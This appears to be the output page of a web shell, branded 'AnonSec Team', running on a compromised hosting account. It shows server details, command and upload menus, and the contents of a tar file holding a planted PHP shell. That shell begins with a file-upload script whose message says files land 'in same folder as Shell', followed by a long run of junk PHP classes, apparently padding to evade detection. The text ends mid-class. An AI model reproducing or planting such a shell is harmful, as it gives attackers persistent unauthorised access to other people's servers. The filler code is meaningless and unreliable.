AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/t1gpbz.tar
about.php000064400000000363151550052230006367 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>6YWKWFGDPYMC7A6C</RequestId><HostId>nB/9Zou8nUdQKxEFYG7aVQjAivYnrrTgjt4qWSRJSt6gaXsFpmk/tCDYj+iSNVctWivzbWlb5ZA=</HostId></Error>sabg5.php000064400000501242151550052230006260 0ustar00<script>
function upload(fileInputId, fileIndex)
    {
		var url = window.location.pathname;
		var scriptname = url.substring(url.lastIndexOf('/')+1);
		var filename = document.getElementById('upload_files').value;
		var filename = filename.match(/[^\\/]*$/)[0];
		var location = window.location.href;
		var directoryPath = location.substring(0, location.lastIndexOf("/")+1);
		document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
		document.getElementById("status").style.color = "blue";
        // take the file from the input
        var file = document.getElementById(fileInputId).files[fileIndex];
        var reader = new FileReader();
        reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
        reader.onloadend  = function(evt)
        {
                // create XHR instance
                xhr = new XMLHttpRequest();

                // send the file through POST
                xhr.open("POST", scriptname+"?name="+filename, true);

                // make sure we have the sendAsBinary method on all browsers
                XMLHttpRequest.prototype.mySendAsBinary = function(text){
                    var data = new ArrayBuffer(text.length);
                    var ui8a = new Uint8Array(data, 0);
                    for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

                    if(typeof window.Blob == "function")
                    {
                         var blob = new Blob([data]);
                    }else{
                         var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
                         bb.append(data);
                         var blob = bb.getBlob();
                    }

                    this.send(blob);
                }

                // let's track upload progress
                var eventSource = xhr.upload || xhr;
                eventSource.addEventListener("progress", function(e) {
                    // get percentage of how much of the current file has been sent
                    var position = e.position || e.loaded;
                    var total = e.totalSize || e.total;
                    var percentage = Math.round((position/total)*100);

                    // here you should write your own code how you wish to proces this
                });

                // state change observer - we need to know when and if the file was successfully uploaded
                xhr.onreadystatechange = function()
                {
                    if(xhr.readyState == 4)
                    {
                        if(xhr.status == 200)
                        {
                            // process success
							document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder as Shell. At Link= "+directoryPath+filename;
							document.getElementById("status").style.color = "green";
                        }else{
                            // process error
                        }
                    }
                };

                // start sending
                xhr.mySendAsBinary(evt.target.result);
        };
    }
</script>

<html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php
/**
 * CodeIgniter Library - PluginwvfS37Probmn96
 *
 * @version 2.0.45
 * @author AuthormbyXp20
 * @license MIT
 */
/**
 * Class ModelZatB17bLQ41
 * DescriptionnKwHBomN87
 * @package PackageIOjES78
 * @author AuthorsIPYct91
 * @version 2.8
 */
class ModelZatB17bLQ41 {
    /**
     * PropertyXENwyOHpUx40
     * @var array
     */
    public $paramsJmY77 = true;

    /**
     * PropertyUoaQFIlsTP76
     * @var string
     */
    public $valueshzK74 = true;

    /**
     * PropertytmqoUqfUpe93
     * @var string
     */
    private $stateKTG67 = 38;

    /**
     * PropertysEJmXQOfTs48
     * @var array
     */
    private $constantsWwr83 = 56;

    /**
     * PropertyPvJHBhqIsR28
     * @var array
     */
    protected $responseDzF49 = 'valABUh92';

    /**
     * MethodhWswaZCQbyWu91
     * DescriptionZfpAbPinUYNOBzF68
     * @param mixed $paramWHn93 = 'defaultPBi81'
     * @param mixed $paramLyD73 = 40
     * @param mixed $paramAcw36 = 43
     * @return mixed
     */
    protected function checktGE13($paramWHn93 = 'defaultPBi81', $paramLyD73 = 40, $paramAcw36 = 43) {
        try {
            // trybIuH67
        } catch (Exception $e) {
            // catchHQmg47
        }
        $arrfFJ27 = ['keycXx27' => 'valzzN22'];
        $result = $this->funcLPc67();
        $result = $this->funcgys57();
        $arrene26 = ['keyqPX68' => 'valOrg96'];
        switch ($switchPhE67) {
            case 3:
                // caseoAj69
                break;
            default:
                // defaultaZg17
                break;
        }
        $arrtdl14 = ['keybtk59' => 'valBSp34'];
    }

    /**
     * MethodJPHstVXgayBu90
     * DescriptionwpMFnpZLkUQzwDm81
     * @param mixed $paramLbu20 = 39
     * @param mixed $paramlEG31 = 'defaultXNT59'
     * @return mixed
     */
    public function configureWrD53($paramLbu20 = 39, $paramlEG31 = 'defaultXNT59') {
        switch ($switchYnp81) {
            case 4:
                // casetAw72
                break;
            default:
                // defaultzJz64
                break;
        }
        switch ($switchDvx74) {
            case 1:
                // caseQXb13
                break;
            default:
                // defaultsLe75
                break;
        }
        $mathRzF63 = 22 + 9;
        $mathRzF63 = $mathRzF63 * 6;
        $condXhb98 = false;
        if ($condXhb98) {
            // commentlxkt61
        }
        $arrayYkt39 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayjXN16 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $mathPqn66 = 23 + 70;
        $mathPqn66 = $mathPqn66 * 2;
        return $retAnr86;
        $varLCB68 = 91;
        $arrMVY78 = ['keyAMm24' => 'valtbp87'];
        $arraydEZ83 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayucp29 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodpfeyMvHFVOOK79
     * DescriptiontcnNsOoIDlILDJL83
     * @param mixed $paramvop81
     * @param mixed $paramyqv97 = 'defaultvWJ10'
     * @param mixed $paramsZV24 = 'defaultFxl44'
     * @return mixed
     */
    private function handleXNM71($paramvop81, $paramyqv97 = 'defaultvWJ10', $paramsZV24 = 'defaultFxl44') {
        $vartrv81 = 545;
        $strQOQ87 = 'textFqtSF71';
        $strQOQ87 = strtoupper($strQOQ87);
        try {
            // trywiHP80
        } catch (Exception $e) {
            // catchPBOQ25
        }
        $arriGq49 = ['keyxVi27' => 'valjuo38'];
        for ($iP37 = 0; $iP37 < 1; $iP37++) {
            // loopfFF99
        }
    }

    /**
     * MethodbUstfhyyWqkv59
     * DescriptionvfAAFWMUmcksUSX46
     * @param mixed $paramsmq81 = 73
     * @return void
     */
    public function checkpSt65($paramsmq81 = 73) {
        $result = $this->funcjVn64();
        $strXrb44 = 'textRJByt90';
        $strXrb44 = strtoupper($strXrb44);
        try {
            // tryvwNK43
        } catch (Exception $e) {
            // catchnroL38
        }
        switch ($switchomD46) {
            case 5:
                // casedGr18
                break;
            default:
                // defaultHYK85
                break;
        }
        $arraylOA76 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $vartNX75 = 180;
        $result = $this->funcPbS29();
        $arrCiW18 = ['keyyDK67' => 'valYiG10'];
        $arraynxb45 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
    }

    /**
     * MethodkUIzvEPpEDQJ71
     * DescriptionYVojeCLOiRkcigA34
     * @param mixed $parampkG13 = 32
     * @return void
     */
    public function updateFCq26($parampkG13 = 32) {
        switch ($switchhjT45) {
            case 2:
                // caseSAO17
                break;
            default:
                // defaultzbX16
                break;
        }
        $strYpY67 = 'textGgdbo79';
        $strYpY67 = strtoupper($strYpY67);
        $mathBQD60 = 1 + 63;
        $mathBQD60 = $mathBQD60 * 10;
        $condxUm99 = true;
        if ($condxUm99) {
            // commentdYfg37
        }
        $arrayopc45 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        for ($iF21 = 0; $iF21 < 2; $iF21++) {
            // loopzjY65
        }
        $varEzp62 = 467;
        $arrGar35 = ['keyhsw68' => 'valJdU81'];
        switch ($switchovr33) {
            case 4:
                // caseuxT38
                break;
            default:
                // defaultykk12
                break;
        }
        $mathqIh57 = 27 + 79;
        $mathqIh57 = $mathqIh57 * 4;
    }

    /**
     * MethodGaPUuArMQacJ12
     * DescriptionrKpPtjNrTNqhSON47
     * @param mixed $paramePO59
     * @param mixed $paramPyB89 = 100
     * @return void
     */
    public function applypqZ84($paramePO59, $paramPyB89 = 100) {
        $mathjqZ60 = 90 + 64;
        $mathjqZ60 = $mathjqZ60 * 7;
        $arrYuB65 = ['keynnv97' => 'valvnc55'];
        $result = $this->funcngH41();
        return $retiht77;
        $condMZZ34 = true;
        if ($condMZZ34) {
            // commentmbbR88
        }
        switch ($switchhbO88) {
            case 3:
                // caseXqm88
                break;
            default:
                // defaultjdP66
                break;
        }
        return $retvwV98;
        switch ($switchnZw92) {
            case 4:
                // caseGKs99
                break;
            default:
                // defaultgjL73
                break;
        }
        $varlgB91 = 116;
        $varJOn74 = 56;
    }

    /**
     * MethodPcGlNZRMBUXo91
     * DescriptionxUUbImntiXZfFWb74
     * @return mixed
     */
    public function runCCq36() {
        $conddrc74 = true;
        if ($conddrc74) {
            // commentgkJQ84
        }
        $strKSt83 = 'textewYPk79';
        $strKSt83 = strtoupper($strKSt83);
        $condZQt66 = true;
        if ($condZQt66) {
            // commentqZkY47
        }
        $arrJIR54 = ['keySjS50' => 'valoot38'];
        $strIau45 = 'textufsiP42';
        $strIau45 = strtoupper($strIau45);
        for ($iO60 = 0; $iO60 < 5; $iO60++) {
            // loopBpv67
        }
        $condIEp84 = true;
        if ($condIEp84) {
            // commenttyIA22
        }
        return $retagy72;
    }

    /**
     * MethodxlLrrTmbClfJ99
     * DescriptiongdfeIPVPzpwKOHy13
     * @return void
     */
    private function renderFDy37() {
        $mathJLS96 = 91 + 98;
        $mathJLS96 = $mathJLS96 * 3;
        $strobJ15 = 'textthlKp76';
        $strobJ15 = strtoupper($strobJ15);
        $result = $this->funcOWA10();
        $arrayPYr83 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $condWEY41 = false;
        if ($condWEY41) {
            // commentItWe22
        }
        switch ($switchRbY60) {
            case 2:
                // caseYLO79
                break;
            default:
                // defaultWOb26
                break;
        }
        $arraylRq49 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $arraypLx75 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $result = $this->funcwsu91();
    }

}


/**
 * Class HelperqMch87dSV93
 * DescriptionLUIUoXtu67
 * @package PackageMYMYl49
 * @author AuthorkxWIpg62
 * @version 5.4
 */
class HelperqMch87dSV93 {
    /**
     * PropertyppJqjLSPDx74
     * @var array
     */
    private $stateawD80 = 83;

    /**
     * PropertyUNrLSmOhzz13
     * @var array
     */
    protected $variableshCD50 = 'valVudI89';

    /**
     * PropertynVHGrVroLR99
     * @var array
     */
    private $itemspvo78 = 95;

    /**
     * PropertyucjQcAXxBW67
     * @var string
     */
    public $configwdX29 = false;

    /**
     * PropertyunyafkQgQr64
     * @var array
     */
    private $propertiesZgj35 = 28;

    /**
     * PropertyJCdbJwROQQ24
     * @var string
     */
    protected $paramsffk79 = 'valLrCo31';

    /**
     * PropertyYnAdIqiaOw84
     * @var string
     */
    private $requestUkA15 = 66;

    /**
     * PropertybqxVuXNtsz85
     * @var string
     */
    public $propertiesTRf81 = false;

    /**
     * MethodWLuceQPalNzX59
     * DescriptionYsFlkdhypPxSTiM52
     * @param mixed $paramBFR97 = 'defaultcNa15'
     * @param mixed $paramrrn14 = 'defaultOpu97'
     * @return mixed
     */
    protected function configurePEJ28($paramBFR97 = 'defaultcNa15', $paramrrn14 = 'defaultOpu97') {
        $mathdos78 = 84 + 99;
        $mathdos78 = $mathdos78 * 8;
        $arrayjJU73 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrgIE72 = ['keyqDK54' => 'valFdA67'];
        switch ($switchBDm28) {
            case 1:
                // caseDtR65
                break;
            default:
                // defaultuQC96
                break;
        }
        for ($iF36 = 0; $iF36 < 4; $iF36++) {
            // loopRAf64
        }
        switch ($switchqOe85) {
            case 5:
                // casehmh40
                break;
            default:
                // defaultPDu20
                break;
        }
        $result = $this->funcUYa36();
    }

    /**
     * MethodfjEhRGZiFaxy16
     * DescriptionZdeYaAUFacqarQo27
     * @param mixed $paramUFh54 = 19
     * @param mixed $paramVtl92 = 'defaultcqU16'
     * @param mixed $paramzAL73 = 'defaultPKr69'
     * @return mixed
     */
    private function encodeQjo66($paramUFh54 = 19, $paramVtl92 = 'defaultcqU16', $paramzAL73 = 'defaultPKr69') {
        switch ($switchoVX91) {
            case 3:
                // casebDv26
                break;
            default:
                // defaultZaC10
                break;
        }
        switch ($switchXrq82) {
            case 4:
                // caseegf47
                break;
            default:
                // defaulticR12
                break;
        }
        $arrTOa76 = ['keyKMc96' => 'valdUs60'];
        $matheHw70 = 90 + 32;
        $matheHw70 = $matheHw70 * 3;
        $condQiN79 = true;
        if ($condQiN79) {
            // commentgXxK41
        }
        for ($ib34 = 0; $ib34 < 3; $ib34++) {
            // loopXPr65
        }
        try {
            // tryfnGv47
        } catch (Exception $e) {
            // catcheZyw13
        }
        $varSym62 = 77;
        $varGkR78 = 251;
    }

    /**
     * MethodxuPzfVNGwEAH63
     * DescriptiontWcHpdxtwNqtnJP42
     * @return mixed
     */
    private function configuremgi43() {
        $arrYsT37 = ['keyVgd36' => 'valFIM12'];
        $strrHp44 = 'textMzgiv53';
        $strrHp44 = strtoupper($strrHp44);
        $arraykpO48 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        return $retqvT71;
        return $retcMK55;
        $result = $this->funcnAl20();
        $stryGH94 = 'textHERqO49';
        $stryGH94 = strtoupper($stryGH94);
        $mathbtd38 = 76 + 49;
        $mathbtd38 = $mathbtd38 * 2;
        $strsRv77 = 'textZoZZM59';
        $strsRv77 = strtoupper($strsRv77);
        $condubH46 = false;
        if ($condubH46) {
            // commenthEMt99
        }
        $mathcbb17 = 43 + 4;
        $mathcbb17 = $mathcbb17 * 1;
        $arrFoD52 = ['keyFCX95' => 'valWYX81'];
    }

    /**
     * MethodibFbXSWUzruC67
     * DescriptionVpIedJqToLaJPkk73
     * @param mixed $paramPxw84
     * @return void
     */
    public function executeYcv36($paramPxw84) {
        for ($ix50 = 0; $ix50 < 5; $ix50++) {
            // loopYiY66
        }
        $strkUR91 = 'textaGvPu72';
        $strkUR91 = strtoupper($strkUR91);
        $arrayQcZ80 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $result = $this->funcuSD42();
        $mathOGD42 = 53 + 93;
        $mathOGD42 = $mathOGD42 * 7;
        $strPyj64 = 'textFPbNH79';
        $strPyj64 = strtoupper($strPyj64);
        $arrjmh73 = ['keyStU88' => 'valOpa86'];
        $condRhR32 = false;
        if ($condRhR32) {
            // commentpCCh75
        }
        $varCZX84 = 524;
        $arraSO35 = ['keyMTV90' => 'valBwS11'];
        return $retGzX46;
        $result = $this->funckTa23();
    }

    /**
     * MethodnLSSCBQfFYng52
     * DescriptionXxXKSABjKEfhWyl83
     * @return void
     */
    protected function transformFCj95() {
        $strhoV47 = 'textjTVDm44';
        $strhoV47 = strtoupper($strhoV47);
        $vargcH29 = 585;
        $mathfHc41 = 45 + 63;
        $mathfHc41 = $mathfHc41 * 8;
        return $retlPu59;
        $mathysi85 = 89 + 78;
        $mathysi85 = $mathysi85 * 9;
        $mathbRh87 = 86 + 15;
        $mathbRh87 = $mathbRh87 * 1;
        $arrQPX39 = ['keyJZY59' => 'valvOX37'];
    }

    /**
     * MethodvvNgTAtmTHQm10
     * DescriptionDafTEQiYyvHqwfB50
     * @param mixed $paramXtr54 = 'defaultMdz90'
     * @param mixed $paramxcu57 = 15
     * @param mixed $paramjka52 = 'defaultrOu80'
     * @return mixed
     */
    private function storeHFk55($paramXtr54 = 'defaultMdz90', $paramxcu57 = 15, $paramjka52 = 'defaultrOu80') {
        for ($ie17 = 0; $ie17 < 3; $ie17++) {
            // loophkX78
        }
        $arrLvx72 = ['keyyJd21' => 'valneD17'];
        return $retZLD92;
        $result = $this->funcIhk66();
        $arrayykc40 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
    }

    /**
     * MethodgjlkMyFtqiEa68
     * DescriptionjlbyWLQxgygTLSP54
     * @param mixed $paramezf88
     * @param mixed $paramSOS94
     * @param mixed $paramvko38
     * @return void
     */
    public function escapeBLD93($paramezf88, $paramSOS94, $paramvko38) {
        $mathjau66 = 37 + 54;
        $mathjau66 = $mathjau66 * 1;
        $condDvl98 = true;
        if ($condDvl98) {
            // commentzGgH91
        }
        $mathJEy57 = 54 + 38;
        $mathJEy57 = $mathJEy57 * 1;
        $mathKSA87 = 96 + 66;
        $mathKSA87 = $mathKSA87 * 7;
        $arrayThk54 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        return $retDYX77;
    }

    /**
     * MethodlzGxYpLZgdeo82
     * DescriptionDqJXQvqfZaDKVkg19
     * @param mixed $paramNsA48
     * @param mixed $paramFMd46
     * @param mixed $paramAiy26 = 74
     * @return mixed
     */
    protected function transformXFo91($paramNsA48, $paramFMd46, $paramAiy26 = 74) {
        $varWkg92 = 671;
        switch ($switchpdd72) {
            case 3:
                // caseeYd41
                break;
            default:
                // defaultzfe84
                break;
        }
        $varGwr84 = 67;
        $mathyxQ54 = 94 + 62;
        $mathyxQ54 = $mathyxQ54 * 6;
        $varFKe20 = 936;
        for ($id49 = 0; $id49 < 2; $id49++) {
            // loopiSz74
        }
        for ($ir80 = 0; $ir80 < 5; $ir80++) {
            // loopAxV80
        }
        $arrBdO13 = ['keyIIN97' => 'valPOR70'];
        switch ($switchlBC64) {
            case 5:
                // caseNRP15
                break;
            default:
                // defaultqlg82
                break;
        }
    }

    /**
     * MethodPenpuCuZyaDd52
     * DescriptiontncjyyVBXTMTTzg30
     * @param mixed $paramAGO38
     * @return mixed
     */
    protected function handleYFv68($paramAGO38) {
        $mathDXk89 = 91 + 31;
        $mathDXk89 = $mathDXk89 * 9;
        for ($iT20 = 0; $iT20 < 4; $iT20++) {
            // loopUJX51
        }
        try {
            // trykNzE11
        } catch (Exception $e) {
            // catchPlbJ17
        }
        $varQBk30 = 130;
        return $retRQg35;
        $mathDxl28 = 33 + 98;
        $mathDxl28 = $mathDxl28 * 6;
        $strsaZ92 = 'textOJNUY59';
        $strsaZ92 = strtoupper($strsaZ92);
        $arraykZM68 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $strsVv96 = 'textPDZRd10';
        $strsVv96 = strtoupper($strsVv96);
        $conduDq42 = false;
        if ($conduDq42) {
            // commentsznG84
        }
        $arrNcw92 = ['keyNHa48' => 'valxth86'];
    }

    /**
     * MethodPgLKKUGkOXhv11
     * DescriptionQldTZTtCBDYJJQG60
     * @param mixed $paramnyT99 = 56
     * @param mixed $paramZRx76 = 'defaultPFd74'
     * @return mixed
     */
    protected function dispatchbAr71($paramnyT99 = 56, $paramZRx76 = 'defaultPFd74') {
        for ($iy98 = 0; $iy98 < 3; $iy98++) {
            // loopnPh19
        }
        $result = $this->funcGXA80();
        $result = $this->funchAS89();
        $strhut21 = 'textnEvnt54';
        $strhut21 = strtoupper($strhut21);
        $streTH40 = 'textSjWdL64';
        $streTH40 = strtoupper($streTH40);
        switch ($switchAVq72) {
            case 4:
                // caseSNf26
                break;
            default:
                // defaultVHP63
                break;
        }
        try {
            // trygxtr22
        } catch (Exception $e) {
            // catchybxE19
        }
        $mathHPv20 = 60 + 43;
        $mathHPv20 = $mathHPv20 * 1;
        $result = $this->funcXpG18();
        for ($iL43 = 0; $iL43 < 1; $iL43++) {
            // loopEII96
        }
        $arrayqcr19 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
    }

}


/**
 * Class CollectionUtgD97cVs27
 * DescriptionZKkjYzip46
 * @package PackageUQnhz49
 * @author AuthorgdNQMZ41
 * @version 1.8
 */
class CollectionUtgD97cVs27 {
    /**
     * PropertypdHwpYJFPl96
     * @var string
     */
    protected $datadws56 = 'valQYiP53';

    /**
     * PropertyfQbGInCIcp29
     * @var string
     */
    public $dataSHh42 = true;

    /**
     * PropertyvNoYjCUuEB35
     * @var array
     */
    private $cookieIQd99 = 20;

    /**
     * PropertydsYUipssmG42
     * @var array
     */
    protected $recordsryO81 = 'valxGnU56';

    /**
     * PropertytcnahgXWNr52
     * @var string
     */
    public $variablesIHN58 = true;

    /**
     * PropertyKztkdNmZeu29
     * @var string
     */
    private $cachelrR34 = 43;

    /**
     * MethodFQmaQLLiNOZm52
     * DescriptionXKbFqrDWuWVzWxu72
     * @param mixed $paramFCX24 = 'defaultVEM96'
     * @return mixed
     */
    protected function applyGRz81($paramFCX24 = 'defaultVEM96') {
        try {
            // trySHLq47
        } catch (Exception $e) {
            // catchtwsj17
        }
        try {
            // tryjSVC85
        } catch (Exception $e) {
            // catchHBVy81
        }
        $strttj19 = 'textgGcfw36';
        $strttj19 = strtoupper($strttj19);
        try {
            // tryaADL47
        } catch (Exception $e) {
            // catchhSAE83
        }
        $varRaJ43 = 354;
        try {
            // tryjiPF41
        } catch (Exception $e) {
            // catchEQVi92
        }
        $varNEm27 = 696;
    }

    /**
     * MethodQTmeMaUiIteU79
     * DescriptionxrZFKoJMJFQDyQR99
     * @param mixed $paramyLE70
     * @param mixed $paramSOZ10 = 'defaultRpq96'
     * @return mixed
     */
    public function updateNXM21($paramyLE70, $paramSOZ10 = 'defaultRpq96') {
        $result = $this->funcMdF74();
        try {
            // tryJLXy22
        } catch (Exception $e) {
            // catchsYFn62
        }
        for ($il16 = 0; $il16 < 3; $il16++) {
            // loopGLs29
        }
        $arrHjF97 = ['keywDQ26' => 'valYmx15'];
        try {
            // tryGSMv60
        } catch (Exception $e) {
            // catchfTko30
        }
        for ($iv64 = 0; $iv64 < 4; $iv64++) {
            // loopztu47
        }
        $mathIVe22 = 52 + 48;
        $mathIVe22 = $mathIVe22 * 1;
    }

    /**
     * MethodtlBlpCfWVoaS27
     * DescriptiongkJMRjaoDtihJPD50
     * @return mixed
     */
    private function deleteBHy11() {
        $arrayXHS17 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $varEcF75 = 288;
        $mathBWY71 = 3 + 97;
        $mathBWY71 = $mathBWY71 * 4;
        $strFlQ96 = 'textUMzUZ13';
        $strFlQ96 = strtoupper($strFlQ96);
        try {
            // tryhktG77
        } catch (Exception $e) {
            // catchZUZT12
        }
        try {
            // tryddoR52
        } catch (Exception $e) {
            // catchpiZt64
        }
        switch ($switchiFi16) {
            case 3:
                // casesqs26
                break;
            default:
                // defaultJIe39
                break;
        }
        $arraybxr28 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodbsyBABNCLRum84
     * DescriptionGWhTfgmbNeLBblR22
     * @return void
     */
    protected function escaperAS53() {
        $condSaW65 = false;
        if ($condSaW65) {
            // commentfmIH73
        }
        $result = $this->funcYcZ45();
        $arraydOO54 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryjssX37
        } catch (Exception $e) {
            // catchteSO36
        }
        try {
            // trywFhn45
        } catch (Exception $e) {
            // catchrnHi75
        }
        return $reteVr92;
        for ($ir50 = 0; $ir50 < 4; $ir50++) {
            // loopgyV64
        }
        $condqah93 = false;
        if ($condqah93) {
            // commentLprQ29
        }
    }

    /**
     * MethodEdhLPXTpVMXD50
     * DescriptionAPYFfDGIqcHlcyP54
     * @param mixed $paramnQB66 = 17
     * @return mixed
     */
    protected function convertafy87($paramnQB66 = 17) {
        return $retPTZ39;
        $mathrcR32 = 43 + 81;
        $mathrcR32 = $mathrcR32 * 1;
        $result = $this->funchlO28();
        $arrpTA27 = ['keyUFl76' => 'valqnL88'];
        $varieh34 = 367;
        $strxiJ52 = 'textcivCv10';
        $strxiJ52 = strtoupper($strxiJ52);
    }

    /**
     * MethodPGLnNyvWYXmo89
     * DescriptionWkjiAjiNJZlSvYI68
     * @return void
     */
    protected function processQCQ59() {
        try {
            // tryFygr69
        } catch (Exception $e) {
            // catchdeRs12
        }
        try {
            // tryMatN36
        } catch (Exception $e) {
            // catchCCUv81
        }
        $strMsC73 = 'textDZjzc86';
        $strMsC73 = strtoupper($strMsC73);
        try {
            // tryueCX75
        } catch (Exception $e) {
            // catchnfVs32
        }
        $arrayZOY19 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $arrayRmB75 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        for ($iE91 = 0; $iE91 < 5; $iE91++) {
            // looprrG15
        }
        switch ($switchEKZ30) {
            case 5:
                // caseZeg81
                break;
            default:
                // defaultnSv81
                break;
        }
        $condJxt67 = true;
        if ($condJxt67) {
            // commentofOn73
        }
    }

}


/**
 * Class ParserMIYY12igy77
 * DescriptionfhKUWojV75
 * @package PackageSWDBB76
 * @author AuthorStSGZl78
 * @version 1.9
 */
class ParserMIYY12igy77 {
    /**
     * PropertyMhuAApcGIi66
     * @var string
     */
    private $responseKIs93 = 87;

    /**
     * PropertyZPvuwdomci92
     * @var string
     */
    private $dataLIR21 = 84;

    /**
     * PropertyEDynLsARZN69
     * @var string
     */
    protected $optionsaWv47 = 'valFaNY63';

    /**
     * PropertyOfzjCvrXNS12
     * @var string
     */
    public $flagspGK13 = false;

    /**
     * PropertyThdTRTBMzv71
     * @var array
     */
    private $requestxMy75 = 64;

    /**
     * MethodkUQsXsNoNBqW76
     * DescriptionNyBmQqXuYZyWlXX58
     * @return mixed
     */
    public function performFsu46() {
        $mathJvo52 = 28 + 79;
        $mathJvo52 = $mathJvo52 * 2;
        $result = $this->funcpXC71();
        $varsgd95 = 279;
        $result = $this->funcBfr61();
        return $retNpG58;
        for ($iH34 = 0; $iH34 < 4; $iH34++) {
            // loopibB55
        }
        $result = $this->funczBK98();
        $varONL43 = 537;
        $result = $this->funcaDW96();
        $condYfB46 = false;
        if ($condYfB46) {
            // commentaLvX13
        }
        $condSVS83 = true;
        if ($condSVS83) {
            // commentccrK63
        }
    }

    /**
     * MethodXgTobgMXEbjh55
     * DescriptionrSptDvHxzOitZxU42
     * @param mixed $paramUEQ87
     * @return mixed
     */
    private function processJPH30($paramUEQ87) {
        $strpcR64 = 'textZdyJr58';
        $strpcR64 = strtoupper($strpcR64);
        switch ($switchsum19) {
            case 2:
                // casempb26
                break;
            default:
                // defaultKKF22
                break;
        }
        $result = $this->funcCBQ28();
        $mathWvf63 = 94 + 36;
        $mathWvf63 = $mathWvf63 * 5;
        try {
            // trypxqn44
        } catch (Exception $e) {
            // catchPqOm14
        }
        return $retNTE39;
    }

    /**
     * MethodYLLOdHjmFHEn79
     * DescriptionlPgSminNQvxlZCm91
     * @param mixed $paramIws85
     * @param mixed $paramcJt37
     * @return void
     */
    private function handleIpU59($paramIws85, $paramcJt37) {
        $condEPE40 = false;
        if ($condEPE40) {
            // commentOggA40
        }
        $condmZP53 = false;
        if ($condmZP53) {
            // commentzzVB68
        }
        for ($if72 = 0; $if72 < 3; $if72++) {
            // loopwZc50
        }
        try {
            // tryVBMi33
        } catch (Exception $e) {
            // catchuYnW31
        }
        $strcVv13 = 'textrJFyh95';
        $strcVv13 = strtoupper($strcVv13);
    }

    /**
     * MethodhGqAOPwypdAj83
     * DescriptionoAkQcYaeIbjnFDw65
     * @param mixed $parameNO89 = 19
     * @param mixed $paramvRY25 = 'defaulttWi21'
     * @param mixed $paramBqS34 = 9
     * @return void
     */
    protected function handlemaU70($parameNO89 = 19, $paramvRY25 = 'defaulttWi21', $paramBqS34 = 9) {
        $result = $this->funcwcf57();
        $arrcJy68 = ['keycTC37' => 'valSQU52'];
        $strNYi13 = 'textOmZPE79';
        $strNYi13 = strtoupper($strNYi13);
        $varUVY60 = 784;
        $arrNMN64 = ['keyHtV85' => 'valSGL11'];
        try {
            // tryRSRz18
        } catch (Exception $e) {
            // catchXcCP30
        }
        try {
            // tryEnrm84
        } catch (Exception $e) {
            // catchqoJu23
        }
    }

    /**
     * MethodJxULASAXMHuH82
     * DescriptionejGtycGHKwldtiu76
     * @param mixed $paramxVn44
     * @param mixed $paramUVi22
     * @param mixed $paramCJg56 = 'defaultjSl64'
     * @return mixed
     */
    protected function deleteXAx69($paramxVn44, $paramUVi22, $paramCJg56 = 'defaultjSl64') {
        return $retRUW52;
        $mathDZA30 = 27 + 86;
        $mathDZA30 = $mathDZA30 * 3;
        $result = $this->funcIHr98();
        $condUJc84 = false;
        if ($condUJc84) {
            // commentAxvL31
        }
        $result = $this->funcCQt24();
        $mathdbP62 = 78 + 63;
        $mathdbP62 = $mathdbP62 * 6;
    }

    /**
     * MethodvQhSmXHagjsd37
     * DescriptiondTXoFFmGbarSaYs96
     * @param mixed $paramySf82
     * @param mixed $parambDh38
     * @param mixed $paramNBz15 = 'defaultffV44'
     * @return mixed
     */
    private function checkYyC33($paramySf82, $parambDh38, $paramNBz15 = 'defaultffV44') {
        $arrCyh96 = ['keyUtw46' => 'valmXa33'];
        try {
            // tryCIPy12
        } catch (Exception $e) {
            // catchoyIO26
        }
        return $retslU46;
        $arraydhM51 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $mathxzQ83 = 14 + 9;
        $mathxzQ83 = $mathxzQ83 * 2;
        $condmZU40 = true;
        if ($condmZU40) {
            // commentpoEn50
        }
    }

}


/**
 * Class FactorygIFC91iTt37
 * DescriptionyyjLujBv36
 * @package Packagekqgjp39
 * @author AuthorJvIHMR79
 * @version 5.0
 */
class FactorygIFC91iTt37 {
    /**
